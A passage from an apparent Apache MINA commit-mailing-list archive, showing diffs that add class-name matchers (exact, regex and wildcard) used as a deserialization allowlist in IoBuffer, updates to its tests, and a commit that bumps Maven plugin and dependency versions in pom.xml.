+     * an illegal character then the check fails.
+     *
+     * @param candidate
+     *            a candidate file name (without a path) like {@code "filename.ext"} or {@code "filename"}
+     * @return {@code true} if the candidate name is legal
+     */
+    public boolean isLegalFileName(final CharSequence candidate) {
+        if (candidate == null || candidate.length() == 0 || candidate.length() > maxFileNameLength) {
+            return false;
+        }
+        if (isReservedFileName(candidate)) {
+            return false;
+        }
+        return candidate.chars().noneMatch(this::isIllegalFileNameChar);
+    }
+
+    /**
+     * Tests whether the given string is a reserved file name.
+     *
+     * @param candidate
+     *            the string to test
+     * @return {@code true} if the given string is a reserved file name.
+     */
+    public boolean isReservedFileName(final CharSequence candidate) {
+        final CharSequence test = reservedFileNamesExtensions ? trimExtension(candidate) : candidate;
+        return Arrays.binarySearch(reservedFileNames, test) >= 0;
+    }
+
+    /**
+     * Converts all separators to the Windows separator of backslash.
+     *
+     * @param path the path to be changed, null ignored
+     * @return the updated path
+     * @since 2.12.0
+     */
+    public String normalizeSeparators(final String path) {
+        return replace(path, nameSeparatorOther, nameSeparator);
+    }
+
+    /**
+     * Tests whether this file system support driver letters.
+     * <p>
+     * Windows supports driver letters as do other operating systems. Whether these other OS's still support Java like
+     * OS/2, is a different matter.
+     * </p>
+     *
+     * @return whether this file system support driver letters.
+     * @since 2.9.0
+     * @see <a href="https://en.wikipedia.org/wiki/Drive_letter_assignment">Operating systems that use drive letter
+     *      assignment</a>
+     */
+    public boolean supportsDriveLetter() {
+        return supportsDriveLetter;
+    }
+
+    /**
+     * Converts a candidate file name (without a path) like {@code "filename.ext"} or {@code "filename"} to a legal file
+     * name. Illegal characters in the candidate name are replaced by the {@code replacement} character. If the file
+     * name length exceeds {@link #getMaxFileNameLength()}, then the name is truncated to
+     * {@link #getMaxFileNameLength()}.
+     *
+     * @param candidate
+     *            a candidate file name (without a path) like {@code "filename.ext"} or {@code "filename"}
+     * @param replacement
+     *            Illegal characters in the candidate name are replaced by this character
+     * @return a String without illegal characters
+     */
+    public String toLegalFileName(final String candidate, final char replacement) {
+        if (isIllegalFileNameChar(replacement)) {
+            // %s does not work properly with NUL
+            throw new IllegalArgumentException(String.format("The replacement character '%s' cannot be one of the %s illegal characters: %s",
+                replacement == '\0' ? "\\0" : replacement, name(), Arrays.toString(illegalFileNameChars)));
+        }
+        final String truncated = candidate.length() > maxFileNameLength ? candidate.substring(0, maxFileNameLength) : candidate;
+        final int[] array = truncated.chars().map(i -> isIllegalFileNameChar(i) ? replacement : i).toArray();
+        return new String(array, 0, array.length);
+    }
+
+    CharSequence trimExtension(final CharSequence cs) {
+        final int index = indexOf(cs, '.', 0);
+        return index < 0 ? cs : cs.subSequence(0, index);
+    }
+}
diff --git a/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/FilenameUtils.java b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/FilenameUtils.java
new file mode 100644
index 000000000..9ff67ca05
--- /dev/null
+++ b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/FilenameUtils.java
@@ -0,0 +1,174 @@
+package org.apache.mina.core.buffer.matcher;
+
+import java.util.ArrayDeque;
+import java.util.ArrayList;
+import java.util.Deque;
+
+public class FilenameUtils
+{
+    private static final int NOT_FOUND = -1;
+
+    private static final String[] EMPTY_STRING_ARRAY = {};
+
+    /**
+     * The Unix separator character.
+     */
+    private static final char UNIX_NAME_SEPARATOR = '/';
+
+    /**
+     * The Windows separator character.
+     */
+    private static final char WINDOWS_NAME_SEPARATOR = '\\';
+
+    /**
+     * Checks a fileName to see if it matches the specified wildcard matcher
+     * allowing control over case-sensitivity.
+     * <p>
+     * The wildcard matcher uses the characters '?' and '*' to represent a
+     * single or multiple (zero or more) wildcard characters.
+     * N.B. the sequence "*?" does not work properly at present in match strings.
+     *
+     * @param fileName  the fileName to match on
+     * @param wildcardMatcher  the wildcard string to match against
+     * @param ioCase  what case sensitivity rule to use, null means case-sensitive
+     * @return true if the fileName matches the wildcard string
+     * @since 1.3
+     */
+    public static boolean wildcardMatch(final String fileName, final String wildcardMatcher, IOCase ioCase) {
+        if (fileName == null && wildcardMatcher == null) {
+            return true;
+        }
+        if (fileName == null || wildcardMatcher == null) {
+            return false;
+        }
+        ioCase = IOCase.value(ioCase, IOCase.SENSITIVE);
+        final String[] wcs = splitOnTokens(wildcardMatcher);
+        boolean anyChars = false;
+        int textIdx = 0;
+        int wcsIdx = 0;
+        final Deque<int[]> backtrack = new ArrayDeque<>(wcs.length);
+
+        // loop around a backtrack stack, to handle complex * matching
+        do {
+            if (!backtrack.isEmpty()) {
+                final int[] array = backtrack.pop();
+                wcsIdx = array[0];
+                textIdx = array[1];
+                anyChars = true;
+            }
+
+            // loop whilst tokens and text left to process
+            while (wcsIdx < wcs.length) {
+
+                if (wcs[wcsIdx].equals("?")) {
+                    // ? so move to next text char
+                    textIdx++;
+                    if (textIdx > fileName.length()) {
+                        break;
+                    }
+                    anyChars = false;
+
+                } else if (wcs[wcsIdx].equals("*")) {
+                    // set any chars status
+                    anyChars = true;
+                    if (wcsIdx == wcs.length - 1) {
+                        textIdx = fileName.length();
+                    }
+
+                } else {
+                    // matching text token
+                    if (anyChars) {
+                        // any chars then try to locate text token
+                        textIdx = ioCase.checkIndexOf(fileName, textIdx, wcs[wcsIdx]);
+                        if (textIdx == NOT_FOUND) {
+                            // token not found
+                            break;
+                        }
+                        final int repeat = ioCase.checkIndexOf(fileName, textIdx + 1, wcs[wcsIdx]);
+                        if (repeat >= 0) {
+                            backtrack.push(new int[] {wcsIdx, repeat});
+                        }
+                    } else if (!ioCase.checkRegionMatches(fileName, textIdx, wcs[wcsIdx])) {
+                        // matching from current position
+                        // couldn't match token
+                        break;
+                    }
+
+                    // matched text token, move text index to end of matched token
+                    textIdx += wcs[wcsIdx].length();
+                    anyChars = false;
+                }
+
+                wcsIdx++;
+            }
+
+            // full match
+            if (wcsIdx == wcs.length && textIdx == fileName.length()) {
+                return true;
+            }
+
+        } while (!backtrack.isEmpty());
+
+        return false;
+    }
+
+
+    /**
+     * Splits a string into a number of tokens.
+     * The text is split by '?' and '*'.
+     * Where multiple '*' occur consecutively they are collapsed into a single '*'.
+     *
+     * @param text  the text to split
+     * @return the array of tokens, never null
+     */
+    static String[] splitOnTokens(final String text) {
+        // used by wildcardMatch
+        // package level so a unit test may run on this
+
+        if (text.indexOf('?') == NOT_FOUND && text.indexOf('*') == NOT_FOUND) {
+            return new String[] { text };
+        }
+
+        final char[] array = text.toCharArray();
+        final ArrayList<String> list = new ArrayList<>();
+        final StringBuilder buffer = new StringBuilder();
+        char prevChar = 0;
+        for (final char ch : array) {
+            if (ch == '?' || ch == '*') {
+                if (buffer.length() != 0) {
+                    list.add(buffer.toString());
+                    buffer.setLength(0);
+                }
+                if (ch == '?') {
+                    list.add("?");
+                } else if (prevChar != '*') {// ch == '*' here; check if previous char was '*'
+                    list.add("*");
+                }
+            } else {
+                buffer.append(ch);
+            }
+            prevChar = ch;
+        }
+        if (buffer.length() != 0) {
+            list.add(buffer.toString());
+        }
+
+        return list.toArray(EMPTY_STRING_ARRAY);
+    }
+
+    /**
+     * Flips the Windows name separator to Linux and vice-versa.
+     *
+     * @param ch The Windows or Linux name separator.
+     * @return The Windows or Linux name separator.
+     */
+    static char flipSeparator(final char ch) {
+        if (ch == UNIX_NAME_SEPARATOR) {
+            return WINDOWS_NAME_SEPARATOR;
+        }
+        if (ch == WINDOWS_NAME_SEPARATOR) {
+            return UNIX_NAME_SEPARATOR;
+        }
+        throw new IllegalArgumentException(String.valueOf(ch));
+    }
+}
diff --git a/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/FullClassNameMatcher.java b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/FullClassNameMatcher.java
new file mode 100644
index 000000000..1f4d07775
--- /dev/null
+++ b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/FullClassNameMatcher.java
@@ -0,0 +1,48 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+package org.apache.mina.core.buffer.matcher;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.HashSet;
+import java.util.Set;
+
+/**
+ * A {@link ClassNameMatcher} that matches on full class names.
+ * <p>
+ * This object is immutable and thread-safe.
+ * </p>
+ */
+public final class FullClassNameMatcher implements ClassNameMatcher {
+    private final Set<String> classesSet;
+
+    /**
+     * Constructs an object based on the specified class names.
+     *
+     * @param classes a list of class names
+     */
+    public FullClassNameMatcher(String... classes) {
+        classesSet = Collections.unmodifiableSet(new HashSet<>(Arrays.asList(classes)));
+    }
+
+    @Override
+    public boolean matches(String className) {
+        return classesSet.contains(className);
+    }
+}
\ No newline at end of file
diff --git a/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/IOCase.java b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/IOCase.java
new file mode 100644
index 000000000..b2a1c89cd
--- /dev/null
+++ b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/IOCase.java
@@ -0,0 +1,275 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.mina.core.buffer.matcher;
+
+import java.util.Objects;
+import java.util.stream.Stream;
+
+/**
+ * Enumeration of IO case sensitivity.
+ * <p>
+ * Different filing systems have different rules for case-sensitivity.
+ * Windows is case-insensitive, Unix is case-sensitive.
+ * </p>
+ * <p>
+ * This class captures that difference, providing an enumeration to
+ * control how file name comparisons should be performed. It also provides
+ * methods that use the enumeration to perform comparisons.
+ * </p>
+ * <p>
+ * Wherever possible, you should use the {@code check} methods in this
+ * class to compare file names.
+ * </p>
+ *
+ * @since 1.3
+ */
+public enum IOCase {
+
+    /**
+     * The constant for case-sensitive regardless of operating system.
+     */
+    SENSITIVE("Sensitive", true),
+
+    /**
+     * The constant for case-insensitive regardless of operating system.
+     */
+    INSENSITIVE("Insensitive", false),
+
+    /**
+     * The constant for case sensitivity determined by the current operating system.
+     * Windows is case-insensitive when comparing file names, Unix is case-sensitive.
+     * <p>
+     * <strong>Note:</strong> This only caters for Windows and Unix. Other operating
+     * systems (e.g. OSX and OpenVMS) are treated as case-sensitive if they use the
+     * Unix file separator and case-insensitive if they use the Windows file separator
+     * (see {@link java.io.File#separatorChar}).
+     * </p>
+     * <p>
+     * If you serialize this constant on Windows, and deserialize on Unix, or vice
+     * versa, then the value of the case-sensitivity flag will change.
+     * </p>
+     */
+    SYSTEM("System", FileSystem.getCurrent().isCaseSensitive());
+
+    /** Serialization version. */
+    private static final long serialVersionUID = -6343169151696340687L;
+
+    /**
+     * Factory method to create an IOCase from a name.
+     *
+     * @param name  the name to find
+     * @return the IOCase object
+     * @throws IllegalArgumentException if the name is invalid
+     */
+    public static IOCase forName(final String name) {
+        return Stream.of(IOCase.values()).filter(ioCase -> ioCase.getName().equals(name)).findFirst()
+                .orElseThrow(() -> new IllegalArgumentException("Illegal IOCase name: " + name));
+    }
+
+    /**
+     * Tests for cases sensitivity in a null-safe manner.
+     *
+     * @param ioCase an IOCase.
+     * @return true if the input is non-null and {@link #isCaseSensitive()}.
+     * @since 2.10.0
+     */
+    public static boolean isCaseSensitive(final IOCase ioCase) {
+        return ioCase != null && ioCase.isCaseSensitive();
+    }
+
+    /**
+     * Returns the given value if not-null, the defaultValue if null.
+     *
+     * @param value the value to test.
+     * @param defaultValue the default value.
+     * @return the given value if not-null, the defaultValue if null.
+     * @since 2.12.0
+     */
+    public static IOCase value(final IOCase value, final IOCase defaultValue) {
+        return value != null ? value : defaultValue;
+    }
+
+    /** The enumeration name. */
+    private final String name;
+
+    /** The sensitivity flag. */
+    private final transient boolean sensitive;
+
+    /**
+     * Constructs a new instance.
+     *
+     * @param name  the name
+     * @param sensitive  the sensitivity
+     */
+    IOCase(final String name, final boolean sensitive) {
+        this.name = name;
+        this.sensitive = sensitive;
+    }
+
+    /**
+     * Compares two strings using the case-sensitivity rule.
+     * <p>
+     * This method mimics {@link String#compareTo} but takes case-sensitivity
+     * into account.
+     * </p>
+     *
+     * @param str1  the first string to compare, not null
+     * @param str2  the second string to compare, not null
+     * @return true if equal using the case rules
+     * @throws NullPointerException if either string is null
+     */
+    public int checkCompareTo(final String str1, final String str2) {
+        Objects.requireNonNull(str1, "str1");
+        Objects.requireNonNull(str2, "str2");
+        return sensitive ? str1.compareTo(str2) : str1.compareToIgnoreCase(str2);
+    }
+
+    /**
+     * Checks if one string ends with another using the case-sensitivity rule.
+     * <p>
+     * This method mimics {@link String#endsWith} but takes case-sensitivity
+     * into account.
+     * </p>
+     *
+     * @param str  the string to check
+     * @param end  the end to compare against
+     * @return true if equal using the case rules, false if either input is null
+     */
+    public boolean checkEndsWith(final String str, final String end) {
+        if (str == null || end == null) {
+            return false;
+        }
+        final int endLen = end.length();
+        return str.regionMatches(!sensitive, str.length() - endLen, end, 0, endLen);
+    }
+
+    /**
+     * Compares two strings using the case-sensitivity rule.
+     * <p>
+     * This method mimics {@link String#equals} but takes case-sensitivity
+     * into account.
+     * </p>
+     *
+     * @param str1  the first string to compare, not null
+     * @param str2  the second string to compare, not null
+     * @return true if equal using the case rules
+     * @throws NullPointerException if either string is null
+     */
+    public boolean checkEquals(final String str1, final String str2) {
+        Objects.requireNonNull(str1, "str1");
+        Objects.requireNonNull(str2, "str2");
+        return sensitive ? str1.equals(str2) : str1.equalsIgnoreCase(str2);
+    }
+
+    /**
+     * Checks if one string contains another starting at a specific index using the
+     * case-sensitivity rule.
+     * <p>
+     * This method mimics parts of {@link String#indexOf(String, int)}
+     * but takes case-sensitivity into account.
+     * </p>
+     *
+     * @param str  the string to check, not null
+     * @param strStartIndex  the index to start at in str
+     * @param search  the start to search for, not null
+     * @return the first index of the search String,
+     *  -1 if no match or {@code null} string input
+     * @throws NullPointerException if either string is null
+     * @since 2.0
+     */
+    public int checkIndexOf(final String str, final int strStartIndex, final String search) {
+        final int endIndex = str.length() - search.length();
+        if (endIndex >= strStartIndex) {
+            for (int i = strStartIndex; i <= endIndex; i++) {
+                if (checkRegionMatches(str, i, search)) {
+                    return i;
+                }
+            }
+        }
+        return -1;
+    }
+
+    /**
+     * Checks if one string contains another at a specific index using the case-sensitivity rule.
+     * <p>
+     * This method mimics parts of {@link String#regionMatches(boolean, int, String, int, int)}
+     * but takes case-sensitivity into account.
+     * </p>
+     *
+     * @param str  the string to check, not null
+     * @param strStartIndex  the index to start at in str
+     * @param search  the start to search for, not null
+     * @return true if equal using the case rules
+     * @throws NullPointerException if either string is null
+     */
+    public boolean checkRegionMatches(final String str, final int strStartIndex, final String search) {
+        return str.regionMatches(!sensitive, strStartIndex, search, 0, search.length());
+    }
+
+    /**
+     * Checks if one string starts with another using the case-sensitivity rule.
+     * <p>
+     * This method mimics {@link String#startsWith(String)} but takes case-sensitivity
+     * into account.
+     * </p>
+     *
+     * @param str  the string to check
+     * @param start  the start to compare against
+     * @return true if equal using the case rules, false if either input is null
+     */
+    public boolean checkStartsWith(final String str, final String start) {
+        return str != null && start != null && str.regionMatches(!sensitive, 0, start, 0, start.length());
+    }
+
+    /**
+     * Gets the name of the constant.
+     *
+     * @return the name of the constant
+     */
+    public String getName() {
+        return name;
+    }
+
+    /**
+     * Does the object represent case-sensitive comparison.
+     *
+     * @return true if case-sensitive
+     */
+    public boolean isCaseSensitive() {
+        return sensitive;
+    }
+
+    /**
+     * Replaces the enumeration from the stream with a real one.
+     * This ensures that the correct flag is set for SYSTEM.
+     *
+     * @return the resolved object
+     */
+    private Object readResolve() {
+        return forName(name);
+    }
+
+    /**
+     * Gets a string describing the sensitivity.
+     *
+     * @return a string describing the sensitivity
+     */
+    @Override
+    public String toString() {
+        return name;
+    }
+}
diff --git a/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/RegexpClassNameMatcher.java b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/RegexpClassNameMatcher.java
new file mode 100644
index 000000000..bb854245d
--- /dev/null
+++ b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/RegexpClassNameMatcher.java
@@ -0,0 +1,56 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+package org.apache.mina.core.buffer.matcher;
+
+import java.util.Objects;
+import java.util.regex.Pattern;
+
+/**
+ * A {@link ClassNameMatcher} that uses regular expressions.
+ * <p>
+ * This object is immutable and thread-safe.
+ * </p>
+ */
+public final class RegexpClassNameMatcher implements ClassNameMatcher {
+    private final Pattern pattern; // Class is thread-safe
+
+    /**
+     * Constructs an object based on the specified pattern.
+     *
+     * @param pattern a pattern for evaluating acceptable class names
+     * @throws NullPointerException if {@code pattern} is null
+     */
+    public RegexpClassNameMatcher(Pattern pattern) {
+        this.pattern = Objects.requireNonNull(pattern, "pattern");
+    }
+
+    /**
+     * Constructs an object based on the specified regular expression.
+     *
+     * @param regex a regular expression for evaluating acceptable class names
+     */
+    public RegexpClassNameMatcher(String regex) {
+        this(Pattern.compile(regex));
+    }
+
+    @Override
+    public boolean matches(String className) {
+        return pattern.matcher(className).matches();
+    }
+}
\ No newline at end of file
diff --git a/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/WildcardClassNameMatcher.java b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/WildcardClassNameMatcher.java
new file mode 100644
index 000000000..36e607138
--- /dev/null
+++ b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/WildcardClassNameMatcher.java
@@ -0,0 +1,45 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+package org.apache.mina.core.buffer.matcher;
+
+/**
+ * A {@link ClassNameMatcher} that uses simplified regular expressions
+ *  provided by {@link org.apache.commons.io.FilenameUtils#wildcardMatch(String, String) FilenameUtils.wildcardMatch}
+ * <p>
+ * This object is immutable and thread-safe.
+ * </p>
+ */
+public final class WildcardClassNameMatcher implements ClassNameMatcher {
+
+    private final String pattern;
+
+    /**
+     * Constructs an object based on the specified simplified regular expression.
+     *
+     * @param pattern a {@link FilenameUtils#wildcardMatch} pattern.
+     */
+    public WildcardClassNameMatcher(String pattern) {
+        this.pattern = pattern;
+    }
+
+    @Override
+    public boolean matches(String className) {
+        return FilenameUtils.wildcardMatch(className, pattern, IOCase.SENSITIVE);
+    }
+}
\ No newline at end of file
diff --git a/mina-core/src/test/java/org/apache/mina/core/buffer/IoBufferTest.java b/mina-core/src/test/java/org/apache/mina/core/buffer/IoBufferTest.java
index cfc2d7104..bf8c46743 100644
--- a/mina-core/src/test/java/org/apache/mina/core/buffer/IoBufferTest.java
+++ b/mina-core/src/test/java/org/apache/mina/core/buffer/IoBufferTest.java
@@ -372,6 +372,7 @@ public class IoBufferTest {
         List<Object> o = new ArrayList<>();
         o.add(new Date());
         o.add(long.class);
+        buf.accept(ArrayList.class.getName(), Date.class.getName(), long.class.getName());
 
         // Test writing an object.
         buf.putObject(o);
@@ -387,11 +388,12 @@ public class IoBufferTest {
 
     @Test
     public void testNonserializableClass() throws Exception {
-        Class<?> c = NonserializableClass.class;
+        Class<?> c = String.class;
 
         IoBuffer buffer = IoBuffer.allocate(16);
         buffer.setAutoExpand(true);
         buffer.putObject(c);
+        buffer.accept(String.class.getName());
 
         buffer.flip();
         Object o = buffer.getObject();
@@ -407,6 +409,7 @@ public class IoBufferTest {
         IoBuffer buffer = IoBuffer.allocate(16);
         buffer.setAutoExpand(true);
         buffer.putObject(c);
+        buffer.accept(NonserializableInterface.class.getName());
 
         buffer.flip();
         Object o = buffer.getObject();
@@ -947,6 +950,7 @@ public class IoBufferTest {
 
         // Test writing an object.
         buf.putObject(expected);
+        buf.accept(Bar.class.getName());
 
         // Test reading an object.
         buf.clear();
diff --git a/pom.xml b/pom.xml
index bc7296306..413033d3f 100644
--- a/pom.xml
+++ b/pom.xml
@@ -90,9 +90,6 @@
     <!-- Make Java 8 javadoc lint to shut the f*** up... -->
     <!-- additionalparam>-Xdoclint:none</additionalparam -->
 
-    <!-- SBOM generation versions -->
-    <version.cyclonedx>2.9.0</version.cyclonedx>
-
     <!-- Maven Plugins -->
     <version.apache.rat.plugin>0.16.1</version.apache.rat.plugin>
     <version.api.plugin>3.6.3</version.api.plugin>
@@ -105,6 +102,7 @@
     <version.clirr.plugin>2.8</version.clirr.plugin>
     <version.cobertura.plugin>2.7</version.cobertura.plugin>
     <version.compiler.plugin>3.13.0</version.compiler.plugin>
+    <version.cyclonedx.plugin>2.9.0</version.cyclonedx.plugin>
     <version.dashboard.plugin>1.0.0-beta-1</version.dashboard.plugin>
     <version.dependency.plugin>3.8.0</version.dependency.plugin>
     <version.deploy.plugin>3.1.3</version.deploy.plugin>
@@ -186,6 +184,13 @@
   <!-- =========================================== -->
   <dependencyManagement>
     <dependencies>
+      <!-- Commons dependencies -->
+      <dependency>
+        <groupId>commons-io</groupId>
+        <artifactId>commons-io</artifactId>
+        <version>${commons.io.version}</version>
+      </dependency>
+
       <!-- Submodules -->
       <dependency>
         <groupId>${project.groupId}</groupId>
@@ -794,7 +799,7 @@
         <plugin>
           <groupId>org.cyclonedx</groupId>
           <artifactId>cyclonedx-maven-plugin</artifactId>
-          <version>${version.cyclonedx}</version>
+          <version>${version.cyclonedx.plugin}</version>
           <executions>
             <execution>
               <id>make-bom</id>


(mina) 02/19: o Added a maven version prerequisite o Bumped up some plugins and dependencies o Removed the useless commons-io dependency o Removed javadoc useless configuration o Bump up Java version to be use to 11 o Fixed the taglist plugin configuration o Removed the unused lifecycle-mapping plugin o Fixed the showDeprecation configuration in compiler plugin o Removed the aggregate cinfiguration for the javadoc plugin o Removed the unreachable http://static.springframework.org link in javadocplugin o [...]

Posted by el...@apache.org.
This is an automated email from the ASF dual-hosted git repository.

elecharny pushed a commit to branch 2.2.X
in repository https://gitbox.apache.org/repos/asf/mina.git

commit 5976fe0cc754b21b1d5fee9ac49f9758d60bf9f1
Author: emmanuel lecharny <el...@apache.org>
AuthorDate: Wed Nov 6 16:16:11 2024 +0100

    o Added a maven version prerequisite
    o Bumped up some plugins and dependencies
    o Removed the useless commons-io dependency
    o Removed javadoc useless configuration
    o Bump up Java version to be use to 11
    o Fixed the taglist plugin configuration
    o Removed the unused lifecycle-mapping plugin
    o Fixed the showDeprecation configuration in compiler plugin
    o Removed the aggregate cinfiguration for the javadoc plugin
    o Removed the unreachable http://static.springframework.org link in
    javadocplugin
    o Removed the rat-maven-plugin plugin
---
 pom.xml | 81 +++++++++++++++++++++++++++++++++--------------------------------
 1 file changed, 41 insertions(+), 40 deletions(-)

diff --git a/pom.xml b/pom.xml
index 413033d3f..542157017 100644
--- a/pom.xml
+++ b/pom.xml
@@ -80,6 +80,11 @@
     </license>
   </licenses>
 
+  <prerequisites>
+    <maven>3.8.5</maven>
+  </prerequisites>
+
+
   <!-- Define the version for each of the used jar and maven plugins -->
   <properties>
     <arguments />
@@ -97,43 +102,44 @@
     <version.build.helper.plugin>3.6.0</version.build.helper.plugin>
     <version.bundle.plugin>5.1.9</version.bundle.plugin>
     <version.changes.plugin>2.12.1</version.changes.plugin>
-    <version.checkstyle.plugin>3.5.0</version.checkstyle.plugin>
+    <version.checkstyle.plugin>3.6.0</version.checkstyle.plugin>
     <version.clean.plugin>3.4.0</version.clean.plugin>
     <version.clirr.plugin>2.8</version.clirr.plugin>
     <version.cobertura.plugin>2.7</version.cobertura.plugin>
     <version.compiler.plugin>3.13.0</version.compiler.plugin>
     <version.cyclonedx.plugin>2.9.0</version.cyclonedx.plugin>
     <version.dashboard.plugin>1.0.0-beta-1</version.dashboard.plugin>
-    <version.dependency.plugin>3.8.0</version.dependency.plugin>
+    <version.dependency.plugin>3.8.1</version.dependency.plugin>
     <version.deploy.plugin>3.1.3</version.deploy.plugin>
     <version.docck.plugin>1.2</version.docck.plugin>
     <version.eclipse.plugin>2.10</version.eclipse.plugin>
     <version.enforcer.plugin>3.5.0</version.enforcer.plugin>
     <version.findbugs.plugin>3.0.5</version.findbugs.plugin>
-    <version.gpg.plugin>3.2.5</version.gpg.plugin>
+    <version.gpg.plugin>3.2.7</version.gpg.plugin>
     <version.install.plugin>3.1.3</version.install.plugin>
     <version.jar.plugin>3.4.2</version.jar.plugin>
     <version.javancss.plugin>2.1</version.javancss.plugin>
-    <version.javadoc.plugin>3.10.0</version.javadoc.plugin>
-    <version.jdepend.plugin>2.0</version.jdepend.plugin>
-    <version.jxr.plugin>3.5.0</version.jxr.plugin>
+    <version.javadoc.plugin>3.11.1</version.javadoc.plugin>
+    <version.jdepend.plugin>2.1</version.jdepend.plugin>
+    <version.jxr.plugin>3.6.0</version.jxr.plugin>
     <version.model.plugin>3.9.4</version.model.plugin>
     <version.plexus.utils>4.0.0</version.plexus.utils>
-    <version.plugin.plugin>3.12.0</version.plugin.plugin>
-    <version.pmd.plugin>3.25.0</version.pmd.plugin>
+    <version.plugin.plugin>4.0.0-beta-1</version.plugin.plugin>
+    <version.pmd.plugin>3.26.0</version.pmd.plugin>
     <version.project.plugin>3.0-alpha-2</version.project.plugin>
-    <version.project.info.report.plugin>3.7.0</version.project.info.report.plugin>
+    <version.project.info.report.plugin>3.8.0</version.project.info.report.plugin>
     <version.rat.maven.plugin>1.0-alpha-3</version.rat.maven.plugin>
     <version.release.plugin>3.1.1</version.release.plugin>
     <version.remote.resources.plugin>3.2.0</version.remote.resources.plugin>
+    <version.replacer.plugin>1.5.3</version.replacer.plugin>
     <version.resources.plugin>3.3.1</version.resources.plugin>
     <version.scm.plugin>2.1.0</version.scm.plugin>
     <version.site.plugin>4.0.0-M16</version.site.plugin>
     <version.source.plugin>3.3.1</version.source.plugin>
     <version.shade.plugin>3.5.0</version.shade.plugin>
-    <version.surefire.plugin>3.5.0</version.surefire.plugin>
-    <version.surfire.report.plugin>3.5.0</version.surfire.report.plugin>
-    <version.taglist.plugin>3.1.0</version.taglist.plugin>
+    <version.surefire.plugin>3.5.2</version.surefire.plugin>
+    <version.surfire.report.plugin>3.5.2</version.surfire.report.plugin>
+    <version.taglist.plugin>3.2.1</version.taglist.plugin>
     <version.tools.maven.plugin>1.4</version.tools.maven.plugin>
     <version.versions.plugin>2.17.1</version.versions.plugin>
     <version.xbean.plugin>4.25</version.xbean.plugin>
@@ -145,9 +151,9 @@
     <version.junit>4.13.2</version.junit>
     <version.jzlib>1.1.3</version.jzlib>
     <version.log4j>1.2.17</version.log4j>
-    <version.mockito>5.13.0</version.mockito>
+    <version.mockito>4.11.0</version.mockito>
     <version.ognl>3.4.3</version.ognl>
-    <version.pmd>7.5.0</version.pmd>
+    <version.pmd>7.7.0</version.pmd>
     <version.slf4j.api>1.7.36</version.slf4j.api>
     <version.slf4j.reload4j>1.7.36</version.slf4j.reload4j>
     <version.slf4j.jcl.over.slf4j>1.7.36</version.slf4j.jcl.over.slf4j>
@@ -184,13 +190,6 @@
   <!-- =========================================== -->
   <dependencyManagement>
     <dependencies>
-      <!-- Commons dependencies -->
-      <dependency>
-        <groupId>commons-io</groupId>
-        <artifactId>commons-io</artifactId>
-        <version>${commons.io.version}</version>
-      </dependency>
-
       <!-- Submodules -->
       <dependency>
         <groupId>${project.groupId}</groupId>
@@ -412,10 +411,7 @@
               <goals>
                 <goal>javadoc</goal>
               </goals>
-              <configuration>
-                <aggregate>true</aggregate>
-                <!-- additionalparam>-Xdoclint:none</additionalparam -->
-              </configuration>
+              <configuration/>
             </execution>
           </executions>
         </plugin>
@@ -430,7 +426,7 @@
   <profile>
     <id>java-8-compilation</id>
     <activation>
-      <jdk>[9,)</jdk>
+      <jdk>[11,)</jdk>
     </activation>
     <properties>
       <maven.compiler.release>8</maven.compiler.release>
@@ -755,12 +751,19 @@
